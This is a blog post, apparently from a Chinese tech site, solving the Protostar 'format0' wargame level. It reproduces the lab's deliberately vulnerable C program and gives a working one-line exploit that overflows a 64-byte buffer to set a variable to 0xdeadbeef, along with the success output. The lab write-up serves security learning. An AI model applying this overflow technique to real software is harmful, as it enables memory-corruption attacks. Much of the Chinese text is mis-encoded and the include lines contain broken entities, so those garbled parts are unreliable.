溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Protostar format0

發(fā)布時(shí)間:2020-08-16 08:49:23 來(lái)源:網(wǎng)絡(luò) 閱讀:494 作者:terrying 欄目:安全技術(shù)

About

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.
Hints:
  • This level should be done in less than 10 bytes of input.
  • "Exploiting format string vulnerabilities"
This level is at /opt/protostar/bin/format0
#include <stdlib.h%gt;
#include <unistd.h%gt;
#include <stdio.h%gt;
#include <string.h%gt;

void vuln(char *string)
{
volatile int target;
char buffer[64];

target = 0;

sprintf(buffer, string);

if(target == 0xdeadbeef) {
    printf("you have hit the target correctly :)\n");
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}

格式化字符串熱身題,只需要將target部分覆蓋也\xdeadbeef即可。因?yàn)樵诙x時(shí),target和buffer是連著的,因此在內(nèi)存的位置也是一起的。故可得:

user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "a"*64+"\xef\xbe\xad\xde"')
you have hit the target correctly :)

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI